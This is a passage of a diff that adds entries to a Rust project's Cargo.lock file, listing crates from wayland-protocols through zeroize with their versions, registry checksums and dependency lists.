[ + "bitflags 2.13.2", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-scanner", +] + +[[package]] +name = "wayland-protocols-plasma" +version = "0.3.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b6d8cf1eb2c1c31ed1f5643c88a6e53538129d4af80030c8cabd1f9fa884d91" +dependencies = [ + "bitflags 2.13.2", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-scanner", +] + +[[package]] +name = "wayland-protocols-wlr" +version = "0.3.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb04e52f7836d7c7976c78ca0250d61e33873c34156a2a1fc9474828ec268234" +dependencies = [ + "bitflags 2.13.2", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-scanner", +] + +[[package]] +name = "wayland-scanner" +version = "0.31.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "338e30461b3a2b67d70eb30a6d89f8e0c93a833e07d2ae89085cd070c4a00ac0" +dependencies = [ + "proc-macro2", + "quick-xml", + "quote", +] + +[[package]] +name = "wayland-server" +version = "0.31.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0dde9c29be0f723a573977de51ee455bf3dfa03652730a74f9dd3b337e374d75" +dependencies = [ + "bitflags 2.13.2", + "downcast-rs", + "rustix 1.1.5", + "wayland-backend", + "wayland-scanner", +] + +[[package]] +name = "wayland-sys" +version = "0.31.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8eab23fefc9e41f8e841df4a9c707e8a8c4ed26e944ef69297184de2785e3be" +dependencies = [ + "dlib", + "libc", + "log", + "memoffset", + "once_cell", + "pkg-config", +] + +[[package]] +name = "web-sys" +version = "0.3.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88261b9deccee56594c11a3460c462c41f58d148598fe70ad77070126a68aba4" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webbrowser" +version = "1.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62c35be770821a214dbc362fc26908c853e776c0004294d0b10b8a6bad582f94" +dependencies = [ + "jni", + "log", + "ndk-context", + "objc2 0.6.5", + "objc2-app-kit 0.3.2", + "objc2-foundation 0.3.2", + "url", + "web-sys", +] + +[[package]] +name = "webpki-roots" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dcd9d09a39985f5344844e66b0c530a33843579125f23e21e9f0f220850f22a" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "weezl" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28ac98ddc8b9274cb41bb4d9d4d5c425b6020c50c46f25559911905610b4a88" + +[[package]] +name = "wgpu" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "527ccdf43dd5b2e8676eed9984ce00e2bbb0a1b85b70c1969dcb6cd2eb55ab9e" +dependencies = [ + "arrayvec", + "bitflags 2.13.2", + "bytemuck", + "cfg-if", + "cfg_aliases 0.2.2", + "document-features", + "hashbrown 0.17.1", + "js-sys", + "log", + "naga", + "parking_lot", + "portable-atomic", + "profiling", + "raw-window-handle", + "smallvec", + "static_assertions", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "wgpu-core", + "wgpu-hal", + "wgpu-types", +] + +[[package]] +name = "wgpu-core" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14c018fce9b6270aa203c2fdd56f3cce996713534bd757e4ea58c8560b121f14" +dependencies = [ + "arrayvec", + "bit-set", + "bit-vec", + "bitflags 2.13.2", + "bytemuck", + "cfg_aliases 0.2.2", + "document-features", + "hashbrown 0.17.1", + "indexmap", + "log", + "naga", + "naga-types", + "once_cell", + "parking_lot", + "portable-atomic", + "profiling", + "raw-window-handle", + "rustc-hash 1.1.0", + "smallvec", + "thiserror 2.0.21", + "wgpu-core-deps-apple", + "wgpu-core-deps-emscripten", + "wgpu-core-deps-wasm", + "wgpu-core-deps-windows-linux-android", + "wgpu-hal", + "wgpu-naga-bridge", + "wgpu-types", +] + +[[package]] +name = "wgpu-core-deps-apple" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "061f3d319a40d39d00b1ecc2c33b89fe21d4e6fe01859df3500a3a8ecccd6b68" +dependencies = [ + "wgpu-hal", +] + +[[package]] +name = "wgpu-core-deps-emscripten" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98b86cf4abf524a902dd35f18ca6a3f08fc2ae9847c8f10b48e30491b1f0b86" +dependencies = [ + "wgpu-hal", +] + +[[package]] +name = "wgpu-core-deps-wasm" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d260ca2ca8adc654f513a869bf3cac0b47f5b8d3f87803d6942015f8de597aae" +dependencies = [ + "wgpu-hal", +] + +[[package]] +name = "wgpu-core-deps-windows-linux-android" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7586165fd5f6d881cb9ce4bb71f40d6caab2c0f1837e3fc1d9788a197fb6004f" +dependencies = [ + "wgpu-hal", +] + +[[package]] +name = "wgpu-hal" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6b7fb58561a792bc237628ba0792e332de418fefe145f13b5ed8201e6d52f58" +dependencies = [ + "android_system_properties", + "arrayvec", + "ash", + "bit-set", + "bitflags 2.13.2", + "block2 0.6.2", + "bytemuck", + "cfg-if", + "cfg_aliases 0.2.2", + "glow", + "glutin_wgl_sys", + "gpu-allocator", + "hashbrown 0.17.1", + "js-sys", + "khronos-egl", + "libc", + "libloading", + "log", + "naga", + "naga-types", + "ndk-sys", + "objc2 0.6.5", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-foundation 0.3.2", + "objc2-metal 0.3.2", + "objc2-quartz-core 0.3.2", + "once_cell", + "ordered-float", + "parking_lot", + "portable-atomic", + "portable-atomic-util", + "profiling", + "range-alloc", + "raw-window-handle", + "raw-window-metal", + "renderdoc-sys", + "smallvec", + "static_assertions", + "thiserror 2.0.21", + "wasm-bindgen", + "wayland-sys", + "web-sys", + "wgpu-naga-bridge", + "wgpu-types", + "windows", + "windows-core", + "windows-result", +] + +[[package]] +name = "wgpu-naga-bridge" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2f62e73117bb7a62bfd9c5a5841438a823f6566c6442a808ee269d2d055c081" +dependencies = [ + "naga", + "wgpu-types", +] + +[[package]] +name = "wgpu-types" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99dad6f1fbdbbdb4c278a6508b059d44688f5cebddf78d005a46a31340269286" +dependencies = [ + "bitflags 2.13.2", + "bytemuck", + "js-sys", + "log", + "naga-types", + "raw-window-handle", + "static_assertions", + "web-sys", +] + +[[package]] +name = "widestring" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72069c3113ab32ab29e5584db3c6ec55d416895e60715417b5b883a357c3e471" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580" +dependencies = [ + "windows-collections", + "windows-core", + "windows-future", + "windows-numerics", +] + +[[package]] +name = "windows-collections" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610" +dependencies = [ + "windows-core", +] + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-future" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb" +dependencies = [ + "windows-core", + "windows-link", + "windows-threading", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-numerics" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26" +dependencies = [ + "windows-core", + "windows-link", +] + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.5", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm 0.53.1", + "windows_aarch64_msvc 0.53.1", + "windows_i686_gnu 0.53.1", + "windows_i686_gnullvm 0.53.1", + "windows_i686_msvc 0.53.1", + "windows_x86_64_gnu 0.53.1", + "windows_x86_64_gnullvm 0.53.1", + "windows_x86_64_msvc 0.53.1", +] + +[[package]] +name = "windows-threading" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "winit" +version = "0.30.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6755fa58a9f8350bd1e472d4c3fcc25f824ec358933bba33306d0b63df5978d" +dependencies = [ + "ahash", + "android-activity", + "atomic-waker", + "bitflags 2.13.2", + "block2 0.5.1", + "bytemuck", + "calloop 0.13.0", + "cfg_aliases 0.2.2", + "concurrent-queue", + "core-foundation 0.9.4", + "core-graphics", + "cursor-icon", + "dpi", + "js-sys", + "libc", + "memmap2", + "ndk", + "objc2 0.5.3", + "objc2-app-kit 0.2.2", + "objc2-foundation 0.2.2", + "objc2-ui-kit 0.2.2", + "orbclient", + "percent-encoding", + "pin-project", + "raw-window-handle", + "redox_syscall 0.4.1", + "rustix 0.38.44", + "smithay-client-toolkit 0.19.2", + "smol_str", + "tracing", + "unicode-segmentation", + "wasm-bindgen", + "wasm-bindgen-futures", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-protocols-plasma", + "web-sys", + "web-time", + "windows-sys 0.52.0", + "x11-dl", + "x11rb", + "xkbcommon-dl", +] + +[[package]] +name = "winnow" +version = "0.7.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df79d97927682d2fd8adb29682d1140b343be4ac0f08fd68b7765d9c059d3945" + +[[package]] +name = "winnow" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23b97319f7b8343df12cc98938e5c3eb436064524c8d2b4e30a1d3a36eecdf81" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi", +] + +[[package]] +name = "winresource" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bc6d36480b829272a5bdabf08e6dca8004761c1da7e35efef800540c66221b" +dependencies = [ + "toml 1.1.8+spec-1.1.0", + "version_check", +] + +[[package]] +name = "wit-bindgen" +version = "0.57.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e" + +[[package]] +name = "wit-component" +version = "0.258.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0fca88950af0c1f42bc77e17315e48798b8d68340171b6d204f62bc19a878a6" +dependencies = [ + "anyhow", + "bitflags 2.13.2", + "indexmap", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder 0.258.3", + "wasm-metadata", + "wasmparser 0.258.3", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.258.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72a2127663dcf3ee16614fb0e3c33d5c6c66fec9dad317a8b0fdd3869487a533" +dependencies = [ + "anyhow", + "hashbrown 0.17.1", + "id-arena", + "indexmap", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-ident", + "wasmparser 0.258.3", +] + +[[package]] +name = "writeable" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ad82d2a33cdc9674dc7465672f271e096168fcdbe0f799d9e6db8c5892679dc" + +[[package]] +name = "wyz" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed" +dependencies = [ + "tap", +] + +[[package]] +name = "x11-dl" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f" +dependencies = [ + "libc", + "once_cell", + "pkg-config", +] + +[[package]] +name = "x11rb" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9993aa5be5a26815fe2c3eacfc1fde061fc1a1f094bf1ad2a18bf9c495dd7414" +dependencies = [ + "as-raw-xcb-connection", + "gethostname", + "libc", + "libloading", + "once_cell", + "rustix 1.1.5", + "x11rb-protocol", +] + +[[package]] +name = "x11rb-protocol" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea6fc2961e4ef194dcbfe56bb845534d0dc8098940c7e5c012a258bfec6701bd" + +[[package]] +name = "xcap" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da270fd7c8581d43d731cb690bcc791fc0a7b3bc96e131a4b6552d0379640a9e" +dependencies = [ + "dispatch2", + "image", + "libwayshot-xcap", + "log", + "objc2 0.6.5", + "objc2-app-kit 0.3.2", + "objc2-av-foundation", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-core-media", + "objc2-core-video", + "objc2-foundation 0.3.2", + "percent-encoding", + "pipewire", + "rand 0.10.3", + "scopeguard", + "serde", + "thiserror 2.0.21", + "url", + "widestring", + "windows", + "xcb", + "zbus 5.19.0", +] + +[[package]] +name = "xcb" +version = "1.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6c2ad15e0e922856ee89afe862b8992334bbe7953adad56cd1199358cb30566" +dependencies = [ + "bitflags 2.13.2", + "libc", + "quick-xml", +] + +[[package]] +name = "xcursor" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "163b33ed8786455e2fa5d72f554057ce3f3182425434f756cd39c99839d88e23" + +[[package]] +name = "xdg-home" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec1cdab258fb55c0da61328dc52c8764709b249011b2cad0454c72f0bf10a1f6" +dependencies = [ + "libc", + "windows-sys 0.59.0", +] + +[[package]] +name = "xkbcommon-dl" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d039de8032a9a8856a6be89cea3e5d12fdd82306ab7c94d74e6deab2460651c5" +dependencies = [ + "bitflags 2.13.2", + "dlib", + "log", + "once_cell", + "xkeysym", +] + +[[package]] +name = "xkeysym" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9cc00251562a284751c9973bace760d86c0276c471b4be569fe6b068ee97a56" + +[[package]] +name = "xml-rs" +version = "0.8.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e450f9b2ed1dff33c94c12589a87338689467b9c4f5d8a5710bd09a847d2c8a7" + +[[package]] +name = "xmlwriter" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec7a2a501ed189703dba8b08142f057e887dfc4b2cc4db2d343ac6376ba3e0b9" + +[[package]] +name = "xtask" +version = "0.3.0" +dependencies = [ + "craft-anything-engine", + "proc-macro2", + "syn 2.0.119", + "toml 0.9.12+spec-1.1.0", +] + +[[package]] +name = "yaml-rust2" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2462ea039c445496d8793d052e13787f2b90e750b833afee748e601c17621ed9" +dependencies = [ + "arraydeque", + "encoding_rs", + "hashlink", +] + +[[package]] +name = "yaxpeax-arch" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "36274fcc5403da2a7636ffda4d02eca12a1b2b8267b9d2e04447bd2ccfc72082" +dependencies = [ + "num-traits", +] + +[[package]] +name = "yaxpeax-arm" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79f8d9808ad0b7e434882c66e50704138e7c0bdf3408a9f3159c50603dc3168c" +dependencies = [ + "bitvec", + "yaxpeax-arch", +] + +[[package]] +name = "yoke" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "709fe23a0424b6a435d82152b1bd3fdfb0833487d5fa90d05d42762a9891fef5" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec8ebde2db3681e8c9980cc27822030e68752690ddfa9473e739aeb4dbde6d71" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", + "synstructure", +] + +[[package]] +name = "zbus" +version = "4.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb97012beadd29e654708a0fdb4c84bc046f537aecfde2c3ee0a9e4b4d48c725" +dependencies = [ + "async-broadcast", + "async-executor", + "async-fs", + "async-io", + "async-lock", + "async-process", + "async-recursion", + "async-task", + "async-trait", + "blocking", + "enumflags2", + "event-listener", + "futures-core", + "futures-sink", + "futures-util", + "hex", + "nix 0.29.0", + "ordered-stream", + "rand 0.8.8", + "serde", + "serde_repr", + "sha1", + "static_assertions", + "tracing", + "uds_windows", + "windows-sys 0.52.0", + "xdg-home", + "zbus_macros 4.4.0", + "zbus_names 3.0.0", + "zvariant 4.2.0", +] + +[[package]] +name = "zbus" +version = "5.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5db4be7c075cb421e4b7ee645541604239bd243ba7c357511f4ff3a74b555907" +dependencies = [ + "async-broadcast", + "async-executor", + "async-io", + "async-lock", + "async-process", + "async-recursion", + "async-task", + "async-trait", + "blocking", + "enumflags2", + "event-listener", + "futures-core", + "futures-lite", + "hex", + "libc", + "ordered-stream", + "rustix 1.1.5", + "serde", + "serde_repr", + "tracing", + "uds_windows", + "uuid", + "windows-sys 0.61.2", + "winnow 1.0.4", + "zbus_macros 5.19.0", + "zbus_names 4.3.4", + "zvariant 5.15.0", +] + +[[package]] +name = "zbus-lockstep" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6998de05217a084b7578728a9443d04ea4cd80f2a0839b8d78770b76ccd45863" +dependencies = [ + "zbus_xml", + "zvariant 5.15.0", +] + +[[package]] +name = "zbus-lockstep-macros" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10da05367f3a7b7553c8cdf8fa91aee6b64afebe32b51c95177957efc47ca3a0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", + "zbus-lockstep", + "zbus_xml", + "zvariant 5.15.0", +] + +[[package]] +name = "zbus_macros" +version = "4.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "267db9407081e90bbfa46d841d3cbc60f59c0351838c4bc65199ecd79ab1983e" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 2.0.119", + "zvariant_utils 2.1.0", +] + +[[package]] +name = "zbus_macros" +version = "5.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2990635d09ade6df1868f72f8cac69a876a90981e8bd3c40b1be413f8dc88f40" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 3.0.9", + "zbus_names 4.3.4", + "zvariant 5.15.0", + "zvariant_utils 4.2.0", +] + +[[package]] +name = "zbus_names" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b9b1fef7d021261cc16cba64c351d291b715febe0fa10dc3a443ac5a5022e6c" +dependencies = [ + "serde", + "static_assertions", + "zvariant 4.2.0", +] + +[[package]] +name = "zbus_names" +version = "4.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8bf88b4a3ff53e883001e0e0115b297a9d53c31b9c1edd2bfdd853e3428624e" +dependencies = [ + "serde", + "winnow 1.0.4", + "zvariant 5.15.0", +] + +[[package]] +name = "zbus_xml" +version = "5.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1586c021a01ca0a9216dcd874e546382e156a5cbab5fab6cb5f10087e22682a" +dependencies = [ + "serde", + "winnow 1.0.4", + "zbus_names 4.3.4", + "zvariant 5.15.0", +] + +[[package]] +name = "zcheapstr" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1afec51604565183aeb5c54c20aeab286120d4e4460f7f76e3e8bb8c0d99473" +dependencies = [ + "serde", +] + +[[package]] +name = "zerocopy" +version = "0.8.62" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86502bf56ac7c77571a32e2647bb2a15894565e981fb2a48d7bde2d91c965a9d" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.62" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5457206954b06561e2608c7e19cf58b1926586d999c246eebe4502f7e2039d1a" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zerofrom" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ec05a11813ea801ff6d75110ad09cd0824ddba17dfe17128ea0d5f68e6c5272" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f75b4683f6c7f45248d4d64056a24298c6281e0993356d7d1b4a1a962ef10d4a" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13084392c5e4bc371903e2935a5eaeed24905a7511356b883835e18a78f6879" +dependencies = [ + 